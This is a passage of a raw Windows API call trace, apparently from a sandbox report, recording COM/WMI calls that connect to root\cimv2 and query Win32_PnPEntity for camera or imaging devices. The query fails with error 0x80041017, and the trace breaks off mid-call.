This=0x1a6e93a0, lFlags=4, puBuffLength=0x1b19d008*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b19d008*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.190] CoGetObjectContext (in: riid=0x23f1ee0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b19cf58 | out: ppv=0x1b19cf58*=0x1a6a03d8) returned 0x0 [0112.190] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a6a03d8, pAptType=0x1b19cf48 | out: pAptType=0x1b19cf48*=1) returned 0x0 [0112.190] IUnknown:QueryInterface (in: This=0x1a6a03d8, riid=0x23f1ec0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b19cf50 | out: ppvObject=0x1b19cf50*=0x0) returned 0x80004002 [0112.190] IUnknown:Release (This=0x1a6a03d8) returned 0x0 [0112.190] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1b19c928 | out: lpiid=0x1b19c928) returned 0x0 [0112.191] CoGetClassObject (in: rclsid=0x1c2bb348*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b19c500 | out: ppv=0x1b19c500*=0x1c2c9290) returned 0x0 [0112.197] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9290, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b19c548 | out: ppvObject=0x1b19c548*=0x0) returned 0x80004002 [0112.197] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c2c9290, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c4f8 | out: ppvObject=0x1b19c4f8*=0x1c2c9310) returned 0x0 [0112.197] WbemLocator:IUnknown:Release (This=0x1c2c9290) returned 0x0 [0112.198] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9310, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c308 | out: ppvObject=0x1b19c308*=0x1c2c9310) returned 0x0 [0112.198] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9310, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b19c3b0 | out: ppvObject=0x1b19c3b0*=0x0) returned 0x80004002 [0112.198] WbemLocator:IUnknown:AddRef (This=0x1c2c9310) returned 0x3 [0112.198] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9310, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b19ba58 | out: ppvObject=0x1b19ba58*=0x0) returned 0x80004002 [0112.198] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9310, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b19b9e0 | out: ppvObject=0x1b19b9e0*=0x0) returned 0x80004002 [0112.198] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9310, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19b9d0 | out: ppvObject=0x1b19b9d0*=0x0) returned 0x80004002 [0112.198] CoGetContextToken (in: pToken=0x1b19ba80 | out: pToken=0x1b19ba80) returned 0x0 [0112.199] CoGetObjectContext (in: riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1c2576e8 | out: ppv=0x1c2576e8*=0x1a6a03c0) returned 0x0 [0112.199] CoGetContextToken (in: pToken=0x1b19bf00 | out: pToken=0x1b19bf00) returned 0x0 [0112.199] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9310, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19bfc0 | out: ppvObject=0x1b19bfc0*=0x0) returned 0x80004002 [0112.199] WbemLocator:IUnknown:Release (This=0x1c2c9310) returned 0x2 [0112.199] WbemLocator:IUnknown:Release (This=0x1c2c9310) returned 0x1 [0112.200] CoGetContextToken (in: pToken=0x1b19cab0 | out: pToken=0x1b19cab0) returned 0x0 [0112.200] CoGetContextToken (in: pToken=0x1b19c9b0 | out: pToken=0x1b19c9b0) returned 0x0 [0112.200] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2c9310, riid=0x1b19cb10*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b19cae0 | out: ppvObject=0x1b19cae0*=0x1c2c9310) returned 0x0 [0112.200] WbemLocator:IUnknown:AddRef (This=0x1c2c9310) returned 0x3 [0112.200] WbemLocator:IUnknown:Release (This=0x1c2c9310) returned 0x2 [0112.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a6e93a0, puCount=0x1b19cee0 | out: puCount=0x1b19cee0*=0x2) returned 0x0 [0112.203] WbemDefPath:IWbemPath:GetText (in: This=0x1a6e93a0, lFlags=8, puBuffLength=0x1b19ced8*=0x0, pszText=0x0 | out: puBuffLength=0x1b19ced8*=0xf, pszText=0x0) returned 0x0 [0112.203] WbemDefPath:IWbemPath:GetText (in: This=0x1a6e93a0, lFlags=8, puBuffLength=0x1b19ced8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b19ced8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.204] CoCreateInstance (in: rclsid=0x7fef462b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef462b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b19cc20 | out: ppv=0x1b19cc20*=0x1c2c8f50) returned 0x0 [0112.204] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c2c8f50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b19cd88 | out: ppNamespace=0x1b19cd88*=0x1c264990) returned 0x0 [0112.258] WbemLocator:IUnknown:QueryInterface (in: This=0x1c264990, riid=0x7fef462aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19ca98 | out: ppvObject=0x1b19ca98*=0x1c1a8870) returned 0x0 [0112.258] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1c1a8870, pProxy=0x1c264990, pAuthnSvc=0x1b19cb60, pAuthzSvc=0x1b19cae0, pServerPrincName=0x1b19cb10, pAuthnLevel=0x1b19cae4, pImpLevel=0x1b19caec, pAuthInfo=0x1b19cb18, pCapabilites=0x1b19cae8 | out: pAuthnSvc=0x1b19cb60*=0xa, pAuthzSvc=0x1b19cae0*=0x0, pServerPrincName=0x1b19cb10, pAuthnLevel=0x1b19cae4*=0x6, pImpLevel=0x1b19caec*=0x2, pAuthInfo=0x1b19cb18, pCapabilites=0x1b19cae8*=0x1) returned 0x0 [0112.258] WbemLocator:IUnknown:Release (This=0x1c1a8870) returned 0x1 [0112.258] WbemLocator:IUnknown:QueryInterface (in: This=0x1c264990, riid=0x7fef462aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19ca30 | out: ppvObject=0x1b19ca30*=0x1c1a88b0) returned 0x0 [0112.258] WbemLocator:IUnknown:QueryInterface (in: This=0x1c264990, riid=0x7fef462aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19ca40 | out: ppvObject=0x1b19ca40*=0x1c1a8870) returned 0x0 [0112.258] WbemLocator:IClientSecurity:SetBlanket (This=0x1c1a8870, pProxy=0x1c264990, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0112.259] WbemLocator:IUnknown:Release (This=0x1c1a8870) returned 0x2 [0112.259] WbemLocator:IUnknown:Release (This=0x1c1a88b0) returned 0x1 [0112.259] CoTaskMemFree (pv=0x1c257710) [0112.259] WbemLocator:IUnknown:AddRef (This=0x1c264990) returned 0x2 [0112.260] WbemLocator:IUnknown:Release (This=0x1c2c8f50) returned 0x0 [0112.260] CoGetContextToken (in: pToken=0x1b19bca0 | out: pToken=0x1b19bca0) returned 0x0 [0112.260] CoGetContextToken (in: pToken=0x1b19c120 | out: pToken=0x1b19c120) returned 0x0 [0112.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1c264990, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c0a0 | out: ppvObject=0x1b19c0a0*=0x1c1a8880) returned 0x0 [0112.260] WbemLocator:IRpcOptions:Query (in: This=0x1c1a8880, pPrx=0x1c2c9370, dwProperty=2, pdwValue=0x1b19c1d0 | out: pdwValue=0x1b19c1d0) returned 0x80004002 [0112.260] WbemLocator:IUnknown:Release (This=0x1c1a8880) returned 0x2 [0112.260] CoGetContextToken (in: pToken=0x1b19c7f0 | out: pToken=0x1b19c7f0) returned 0x0 [0112.261] CoGetContextToken (in: pToken=0x1b19c6f0 | out: pToken=0x1b19c6f0) returned 0x0 [0112.261] WbemLocator:IUnknown:QueryInterface (in: This=0x1c264990, riid=0x1b19c850*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b19c670 | out: ppvObject=0x1b19c670*=0x1c264990) returned 0x0 [0112.261] WbemLocator:IUnknown:Release (This=0x1c264990) returned 0x2 [0112.267] SysStringLen (param_1=0x0) returned 0x0 [0112.267] CoGetContextToken (in: pToken=0x1b19ca20 | out: pToken=0x1b19ca20) returned 0x0 [0112.268] IWbemServices:ExecQuery (in: This=0x1c264990, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')", lFlags=16, pCtx=0x0, ppEnum=0x1b19cef8 | out: ppEnum=0x1b19cef8*=0x1c26b500) returned 0x0 [0112.273] IUnknown:QueryInterface (in: This=0x1c26b500, riid=0x7fef462aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19cb98 | out: ppvObject=0x1b19cb98*=0x1c26b508) returned 0x0 [0112.273] IClientSecurity:QueryBlanket (in: This=0x1c26b508, pProxy=0x1c26b500, pAuthnSvc=0x1b19cc60, pAuthzSvc=0x1b19cbe0, pServerPrincName=0x1b19cc10, pAuthnLevel=0x1b19cbe4, pImpLevel=0x1b19cbec, pAuthInfo=0x1b19cc18, pCapabilites=0x1b19cbe8 | out: pAuthnSvc=0x1b19cc60*=0xa, pAuthzSvc=0x1b19cbe0*=0x0, pServerPrincName=0x1b19cc10, pAuthnLevel=0x1b19cbe4*=0x6, pImpLevel=0x1b19cbec*=0x2, pAuthInfo=0x1b19cc18, pCapabilites=0x1b19cbe8*=0x1) returned 0x0 [0112.273] IUnknown:Release (This=0x1c26b508) returned 0x1 [0112.273] IUnknown:QueryInterface (in: This=0x1c26b500, riid=0x7fef462aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19cb30 | out: ppvObject=0x1b19cb30*=0x1c1a85b0) returned 0x0 [0112.273] IUnknown:QueryInterface (in: This=0x1c26b500, riid=0x7fef462aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19cb40 | out: ppvObject=0x1b19cb40*=0x1c26b508) returned 0x0 [0112.274] IClientSecurity:SetBlanket (This=0x1c26b508, pProxy=0x1c26b500, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0112.277] IUnknown:Release (This=0x1c26b508) returned 0x2 [0112.277] WbemLocator:IUnknown:Release (This=0x1c1a85b0) returned 0x1 [0112.277] CoTaskMemFree (pv=0x1c257ec0) [0112.277] IUnknown:AddRef (This=0x1c26b500) returned 0x2 [0112.277] CoGetContextToken (in: pToken=0x1b19bd60 | out: pToken=0x1b19bd60) returned 0x0 [0112.278] CoGetContextToken (in: pToken=0x1b19c1e0 | out: pToken=0x1b19c1e0) returned 0x0 [0112.278] IUnknown:QueryInterface (in: This=0x1c26b500, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c160 | out: ppvObject=0x1b19c160*=0x1c1a8580) returned 0x0 [0112.278] WbemLocator:IRpcOptions:Query (in: This=0x1c1a8580, pPrx=0x1c2c8f50, dwProperty=2, pdwValue=0x1b19c290 | out: pdwValue=0x1b19c290) returned 0x80004002 [0112.278] WbemLocator:IUnknown:Release (This=0x1c1a8580) returned 0x2 [0112.278] CoGetContextToken (in: pToken=0x1b19c8b0 | out: pToken=0x1b19c8b0) returned 0x0 [0112.278] CoGetContextToken (in: pToken=0x1b19c7b0 | out: pToken=0x1b19c7b0) returned 0x0 [0112.278] IUnknown:QueryInterface (in: This=0x1c26b500, riid=0x1b19c910*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b19c730 | out: ppvObject=0x1b19c730*=0x1c26b500) returned 0x0 [0112.278] IUnknown:Release (This=0x1c26b500) returned 0x2 [0112.278] SysStringLen (param_1=0x0) returned 0x0 [0112.278] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a6e93a0, puCount=0x1b19cf30 | out: puCount=0x1b19cf30*=0x2) returned 0x0 [0112.278] WbemDefPath:IWbemPath:GetText (in: This=0x1a6e93a0, lFlags=4, puBuffLength=0x1b19cf28*=0x0, pszText=0x0 | out: puBuffLength=0x1b19cf28*=0xf, pszText=0x0) returned 0x0 [0112.278] WbemDefPath:IWbemPath:GetText (in: This=0x1a6e93a0, lFlags=4, puBuffLength=0x1b19cf28*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b19cf28*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0112.285] CoGetContextToken (in: pToken=0x1b19cb80 | out: pToken=0x1b19cb80) returned 0x0 [0112.285] IEnumWbemClassObject:Clone (in: This=0x1c26b500, ppEnum=0x1b19cf80 | out: ppEnum=0x1b19cf80*=0x1c26b650) returned 0x0 [0112.286] IUnknown:QueryInterface (in: This=0x1c26b650, riid=0x7fef462aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19ccf8 | out: ppvObject=0x1b19ccf8*=0x1c26b658) returned 0x0 [0112.286] IClientSecurity:QueryBlanket (in: This=0x1c26b658, pProxy=0x1c26b650, pAuthnSvc=0x1b19cdc0, pAuthzSvc=0x1b19cd40, pServerPrincName=0x1b19cd70, pAuthnLevel=0x1b19cd44, pImpLevel=0x1b19cd4c, pAuthInfo=0x1b19cd78, pCapabilites=0x1b19cd48 | out: pAuthnSvc=0x1b19cdc0*=0xa, pAuthzSvc=0x1b19cd40*=0x0, pServerPrincName=0x1b19cd70, pAuthnLevel=0x1b19cd44*=0x6, pImpLevel=0x1b19cd4c*=0x2, pAuthInfo=0x1b19cd78, pCapabilites=0x1b19cd48*=0x1) returned 0x0 [0112.286] IUnknown:Release (This=0x1c26b658) returned 0x1 [0112.286] IUnknown:QueryInterface (in: This=0x1c26b650, riid=0x7fef462aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19cc90 | out: ppvObject=0x1b19cc90*=0x1c1a8bb0) returned 0x0 [0112.286] IUnknown:QueryInterface (in: This=0x1c26b650, riid=0x7fef462aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19cca0 | out: ppvObject=0x1b19cca0*=0x1c26b658) returned 0x0 [0112.287] IClientSecurity:SetBlanket (This=0x1c26b658, pProxy=0x1c26b650, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0112.289] IUnknown:Release (This=0x1c26b658) returned 0x2 [0112.289] WbemLocator:IUnknown:Release (This=0x1c1a8bb0) returned 0x1 [0112.289] CoTaskMemFree (pv=0x1c257f20) [0112.289] IUnknown:AddRef (This=0x1c26b650) returned 0x2 [0112.289] CoGetContextToken (in: pToken=0x1b19bec0 | out: pToken=0x1b19bec0) returned 0x0 [0112.289] CoGetContextToken (in: pToken=0x1b19c340 | out: pToken=0x1b19c340) returned 0x0 [0112.289] IUnknown:QueryInterface (in: This=0x1c26b650, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c2c0 | out: ppvObject=0x1b19c2c0*=0x1c1a8b80) returned 0x0 [0112.290] WbemLocator:IRpcOptions:Query (in: This=0x1c1a8b80, pPrx=0x1c2c93d0, dwProperty=2, pdwValue=0x1b19c3f0 | out: pdwValue=0x1b19c3f0) returned 0x80004002 [0112.290] WbemLocator:IUnknown:Release (This=0x1c1a8b80) returned 0x2 [0112.290] CoGetContextToken (in: pToken=0x1b19ca10 | out: pToken=0x1b19ca10) returned 0x0 [0112.290] CoGetContextToken (in: pToken=0x1b19c910 | out: pToken=0x1b19c910) returned 0x0 [0112.290] IUnknown:QueryInterface (in: This=0x1c26b650, riid=0x1b19ca70*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b19c890 | out: ppvObject=0x1b19c890*=0x1c26b650) returned 0x0 [0112.290] IUnknown:Release (This=0x1c26b650) returned 0x2 [0112.290] SysStringLen (param_1=0x0) returned 0x0 [0112.290] IEnumWbemClassObject:Reset (This=0x1c26b650) returned 0x0 [0112.299] CoTaskMemAlloc (cb=0x8) returned 0x1c25fde0 [0112.299] IEnumWbemClassObject:Next (in: This=0x1c26b650, lTimeout=-1, uCount=0x1, apObjects=0x1c25fde0, puReturned=0x23f9000 | out: apObjects=0x1c25fde0*=0x0, puReturned=0x23f9000*=0x0) returned 0x80041017 [0112.334] CoTaskMemFree (pv=0x1c25fde0) [0112.334] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x1b19ceb0 | out: pperrinfo=0x1b19ceb0*=0x1c2e0488) returned 0x0 [0112.334] IUnknown:QueryInterface (in: This=0x1c2e0488, riid=0x7fef462a900*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19ceb8 | out: ppvObject=0x1b19ceb8*=0x1c2e0478) returned 0x0 [0112.334] IMarshal:GetUnmarshalClass (in: This=0x1c2e0478, riid=0x7fef462a9a8*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b19cec0 | out: pCid=0x1b19cec0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0112.334] IUnknown:Release (This=0x1c2e0478) returned 0x1 [0112.336] IUnknown:QueryInterface (in: This=0x1c2e0488, riid=0x23f90d8*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b19cfc0 | out: ppvObject=0x1b19cfc0*=0x1c2e0470) returned 0x0 [0112.336] IUnknown:Release (This=0x1c2e0488) returned 0x1 [0112.338] IIDFromString (in: lpsz="{EB87E1BD-3233-11D2-AEC9-00C04FB68820}", lpiid=0x1b19c998 | out: lpiid=0x1b19c998) returned 0x0 [0112.340] CoGetClassObject (in: rclsid=0x1c3254d8*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b19c570 | out: ppv=0x1b19c570*=0x1c2c9450) returned 0x0 [0112.341] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c9450, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b19c5b8 | out: ppvObject=0x1b19c5b8*=0x0) returned 0x80004002 [0112.341] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x1c2c9450, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c568 | out: ppvObject=0x1b19c568*=0x1c2c93f0) returned 0x0 [0112.341] WbemStatusCodeText:IUnknown:Release (This=0x1c2c9450) returned 0x0 [0112.341] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c93f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c378 | out: ppvObject=0x1b19c378*=0x1c2c93f0) returned 0x0 [0112.341] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c93f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b19c420 | out: ppvObject=0x1b19c420*=0x0) returned 0x80004002 [0112.342] WbemStatusCodeText:IUnknown:AddRef (This=0x1c2c93f0) returned 0x3 [0112.342] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c93f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b19bac8 | out: ppvObject=0x1b19bac8*=0x0) returned 0x80004002 [0112.342] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c93f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b19ba50 | out: ppvObject=0x1b19ba50*=0x0) returned 0x80004002 [0112.342] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c93f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19ba40 | out: ppvObject=0x1b19ba40*=0x0) returned 0x80004002 [0112.342] CoGetContextToken (in: pToken=0x1b19baf0 | out: pToken=0x1b19baf0) returned 0x0 [0112.342] CoGetContextToken (in: pToken=0x1b19bf70 | out: pToken=0x1b19bf70) returned 0x0 [0112.342] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c93f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b19c030 | out: ppvObject=0x1b19c030*=0x0) returned 0x80004002 [0112.342] WbemStatusCodeText:IUnknown:Release (This=0x1c2c93f0) returned 0x2 [0112.342] WbemStatusCodeText:IUnknown:Release (This=0x1c2c93f0) returned 0x1 [0112.343] CoGetContextToken (in: pToken=0x1b19cb20 | out: pToken=0x1b19cb20) returned 0x0 [0112.343] CoGetContextToken (in: pToken=0x1b19ca20 | out: pToken=0x1b19ca20) returned 0x0 [0112.343] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x1c2c93f0, riid=0x1b19cb80*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x1b19cb50 | out: ppvObject=0x1b19cb50*=0x1c2c93f0) returned 0x0 [0112.343] WbemStatusCodeText:IUnknown:AddRef (This=0x1c2c93f0) returned 0x3 [0112.343] WbemStatusCodeText:IUnknown:Release (This=0x1c2c93f0) returned 0x2 [0112.345] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1c2c93f0, hRes=0xffffffff80041017, LocaleId=0x0, lFlags=1, 